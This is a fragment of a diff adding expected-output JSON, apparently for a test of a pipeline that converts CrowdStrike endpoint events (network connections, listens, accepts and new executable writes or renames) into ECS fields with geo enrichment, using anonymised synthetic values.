+                "original": "{\"ContextBaseFileName\":\"b971114518c9\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"473484e6b33fdbe4e7274bc98a2365ad9e88\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1746290444.357\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"205997984\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4093698090473\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"45200\",\"Entitlements\":\"56\",\"name\":\"f35a9bcaa84e44df3194\",\"aid\":\"bfc5af54b43f2802d6e18297ab82e810\",\"RemoteAddressString\":\"2a02:cf40::1\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "bfc5af54b43f2802d6e18297ab82e810",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkConnectIP6",
+            "network": {
+                "community_id": "1:T8hdyxdSOJDJWCfI96fSKxS2cOo=",
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "bfc5af54b43f2802d6e18297ab82e810",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "4093698090473",
+                "name": "b971114518c9"
+            },
+            "related": {
+                "hash": [
+                    "205997984"
+                ],
+                "ip": [
+                    "81.2.69.142",
+                    "2a02:cf40::2",
+                    "2a02:cf40::1"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40::2",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::2",
+                "port": 45200
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3440491101",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "1373030025759",
+                "ContextTimeStamp": "2025-11-08T05:19:45.012Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "89.160.20.128"
+                ],
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "414d7d4c948639bd127ede963b8cd7f205d5",
+                "name": "3e63bd7ad348fcf149d"
+            },
+            "destination": {
+                "address": "216.160.83.56",
+                "as": {
+                    "number": 209
+                },
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": "216.160.83.56",
+                "port": 0
+            },
+            "device": {
+                "id": "deb2fe5b3c4891f857b3d5cb68f4d47f"
+            },
+            "event": {
+                "action": "NetworkListenIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "414d7d4c948639bd127ede963b8cd7f205d5|deb2fe5b3c4891f857b3d5cb68f4d47f|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"89.160.20.128\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1762579185.012\",\"ConfigStateHash\":\"3440491101\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"1373030025759\",\"RemotePort\":\"0\",\"ContextThreadId\":\"351980000701043\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"73001\",\"Entitlements\":\"66\",\"name\":\"3e63bd7ad348fcf149d\",\"EventOrigin\":\"1\",\"id\":\"414d7d4c948639bd127ede963b8cd7f205d5\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"deb2fe5b3c4891f857b3d5cb68f4d47f\",\"RemoteAddressIP4\":\"216.160.83.56\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "deb2fe5b3c4891f857b3d5cb68f4d47f",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkListenIP4",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "deb2fe5b3c4891f857b3d5cb68f4d47f",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "1373030025759",
+                "thread": {
+                    "id": 351980000701043
+                }
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "81.2.69.144",
+                    "89.160.20.128",
+                    "216.160.83.56"
+                ]
+            },
+            "source": {
+                "address": "89.160.20.128",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.128",
+                "port": 73001
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "750096004",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "6002550902534",
+                "ContextTimeStamp": "2025-08-29T07:42:10.351Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40::1"
+                ],
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "6571a795f2d49a994f8fc3840f9780f9a9d8",
+                "name": "32e9d89e356847ad161"
+            },
+            "destination": {
+                "address": "2a02:cf40::2",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::2",
+                "port": 0
+            },
+            "device": {
+                "id": "fe88182661659af8a192fac5db624574"
+            },
+            "event": {
+                "action": "NetworkListenIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "6571a795f2d49a994f8fc3840f9780f9a9d8|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1756453330.351\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"750096004\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6002550902534\",\"RemotePort\":\"0\",\"ContextThreadId\":\"400604050757015\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"96\",\"name\":\"32e9d89e356847ad161\",\"EventOrigin\":\"1\",\"id\":\"6571a795f2d49a994f8fc3840f9780f9a9d8\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "fe88182661659af8a192fac5db624574",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkListenIP6",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "fe88182661659af8a192fac5db624574",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "6002550902534",
+                "thread": {
+                    "id": 400604050757015
+                }
+            },
+            "related": {
+                "hash": [
+                    "750096004"
+                ],
+                "ip": [
+                    "216.160.83.56",
+                    "2a02:cf40::1",
+                    "2a02:cf40::2"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1",
+                "port": 1049
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ConnectionFlags": "0",
+                "ContextBaseFileName": "8e8eab0b4bf",
+                "ContextProcessId": "4700009307800",
+                "ContextTimeStamp": "2025-06-11T06:00:37.544Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "216.160.83.56"
+                ],
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "6944305135f71ae54b685de925bc80d24162",
+                "name": "4ccf568bd7cda1587d77b69c3f"
+            },
+            "destination": {
+                "address": "216.160.83.56",
+                "as": {
+                    "number": 209
+                },
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": "216.160.83.56",
+                "port": 1049
+            },
+            "device": {
+                "id": "359d1a3764bc9914314c10bbe07b0ee5"
+            },
+            "event": {
+                "action": "NetworkReceiveAcceptIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "6944305135f71ae54b685de925bc80d24162|359d1a3764bc9914314c10bbe07b0ee5|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1749621637.544\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4700009307800\",\"RemotePort\":\"60702\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"56\",\"name\":\"4ccf568bd7cda1587d77b69c3f\",\"EventOrigin\":\"1\",\"id\":\"6944305135f71ae54b685de925bc80d24162\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"359d1a3764bc9914314c10bbe07b0ee5\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "allowed",
+                    "access",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "359d1a3764bc9914314c10bbe07b0ee5",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkReceiveAcceptIP4",
+            "network": {
+                "community_id": "1:Mc7n12oHGHKtseOxhknfoHljEMo=",
+                "direction": "inbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "359d1a3764bc9914314c10bbe07b0ee5",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "4700009307800",
+                "name": "8e8eab0b4bf"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "89.160.20.112",
+                    "216.160.83.56",
+                    "89.160.20.128"
+                ]
+            },
+            "source": {
+                "address": "89.160.20.128",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.128",
+                "port": 60702
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ConnectionFlags": "0",
+                "ContextBaseFileName": "8e8eab0b4bf",
+                "ContextProcessId": "2000180444147",
+                "ContextTimeStamp": "2025-05-19T03:44:05.373Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40::1"
+                ],
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2de192320bb03a0e9990059a2895376d0213",
+                "name": "0f701c259d2d9d9e15dbcf1339"
+            },
+            "destination": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1",
+                "port": 7340
+            },
+            "device": {
+                "id": "15d126c11ad8c113dec6e819ca553cf7"
+            },
+            "event": {
+                "action": "NetworkReceiveAcceptIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2de192320bb03a0e9990059a2895376d0213|15d126c11ad8c113dec6e819ca553cf7|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP6\",\"ContextTimeStamp\":\"1747626245.373\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"2000180444147\",\"RemotePort\":\"8340\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"7340\",\"Entitlements\":\"36\",\"name\":\"0f701c259d2d9d9e15dbcf1339\",\"EventOrigin\":\"1\",\"id\":\"2de192320bb03a0e9990059a2895376d0213\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"15d126c11ad8c113dec6e819ca553cf7\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "allowed",
+                    "access",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "15d126c11ad8c113dec6e819ca553cf7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkReceiveAcceptIP6",
+            "network": {
+                "community_id": "1:j3KVYY0e4cSBtQRhz1UzjE8yUk0=",
+                "direction": "inbound",
+                "iana_number": "45"
+            },
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "15d126c11ad8c113dec6e819ca553cf7",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2000180444147",
+                "name": "8e8eab0b4bf"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "89.160.20.128",
+                    "2a02:cf40::1",
+                    "2a02:cf40::2"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40::2",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::2",
+                "port": 8340
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "6670000954191",
+                "ContextTimeStamp": "2025-09-21T23:09:24.011Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileObject": "0",
+                "IrpFlags": "100651",
+                "MajorFunction": "6",
+                "MinorFunction": "0",
+                "NewFileIdentifier": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330",
+                "OperationFlags": "0",
+                "TargetFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "3576a8f1eee99ef99a90b644fac69ef96052",
+                "name": "b64d07a4710e4a075cd1f1"
+            },
+            "device": {
+                "id": "39074f37291ca6f2d189c1e110e04dfc"
+            },
+            "event": {
+                "action": "NewExecutableRenamed",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "3576a8f1eee99ef99a90b644fac69ef96052|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"703603693040462\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"990200511957122000670029061067970349454003500200\",\"event_platform\":\"Win\",\"NewFileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"EventOrigin\":\"1\",\"id\":\"3576a8f1eee99ef99a90b644fac69ef96052\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NewExecutableRenamed\",\"ContextTimeStamp\":\"1758496164.011\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"6670000954191\",\"SourceFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\d5fdc1af\\\\b62491c6\",\"IrpFlags\":\"100651\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"MajorFunction\":\"6\",\"Entitlements\":\"66\",\"name\":\"b64d07a4710e4a075cd1f1\",\"OperationFlags\":\"0\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "Ext": {
+                    "original": {
+                        "name": "b62491c6",
+                        "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6"
+                    }
+                },
+                "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6",
+                "extension": "exe",
+                "inode": "990200511957122000670029061067970349454003500200",
+                "name": "6ffbd0fe.exe",
+                "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe",
+                "type": "file"
+            },
+            "host": {
+                "id": "39074f37291ca6f2d189c1e110e04dfc",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NewExecutableRenamed",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "39074f37291ca6f2d189c1e110e04dfc",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "6670000954191",
+                "thread": {
+                    "id": 703603693040462
+                }
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "9080600092",
+                "ContextBaseFileName": "7592a3326e8f",
+                "ContextImageFileName": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe",
+                "ContextProcessId": "6609070495594",
+                "ContextTimeStamp": "2025-05-17T15:48:03.062Z",
+                "DesiredAccess": "4250080",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "FileAttributes": "0",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "Information": "2",
+                "IrpFlags": "2500",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "50000230",
+                "ShareAccess": "3",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "159069fcc959600bb67b1d499fbba75e246f",
+                "name": "df0d670fd6fc4521a6c960"
+            },
+            "device": {
+                "id": "e4a077554af537da06f56e39976d4420"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "159069fcc959600bb67b1d499fbba75e246f|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"7592a3326e8f\",\"Options\":\"50000230\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"Information\":\"2\",\"FileIdentifier\":\"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"159069fcc959600bb67b1d499fbba75e246f\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1747496883.062\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"6609070495594\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\1c467339.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"4250080\",\"Entitlements\":\"76\",\"name\":\"df0d670fd6fc4521a6c960\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\2e00f238.lnk\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe",
+                "extension": "lnk",
+                "inode": "069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c",
+                "name": "2e00f238.lnk",
+                "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk",
+                "type": "file"
+            },
+            "host": {
+                "id": "e4a077554af537da06f56e39976d4420",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NewExecutableWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "e4a077554af537da06f56e39976d4420",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "6609070495594",
+                "executable": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe",
+                "name": "7592a3326e8f",
+                "thread": {
+                    "id": 290000250300138
+                }
+            },
+            "related": {
+                "hash": [
+                    "9080600092"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8200073020",
+                "ContextBaseFileName": "481bc1a027f891f9b",
+                "ContextImageFileName": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe",
+                "ContextProcessId": "211820800920708240",
+                "ContextTimeStamp": "2025-08-25T17:32:23.835Z",
+                "DesiredAccess": "5060417",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileAttributes": "0",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "Information": "3",
+                "IrpFlags": "2500",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "66717670",
+                "ShareAccess": "1",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "182d52dbecaca7970cb63c42addda760f512",
+                "name": "af0673bdd782d244e9c"
+            },
+            "device": {
+                "id": "d6c18cb814c9100d81bedd3b4290407f"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "182d52dbecaca7970cb63c42addda760f512|d6c18cb814c9100d81bedd3b4290407f|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
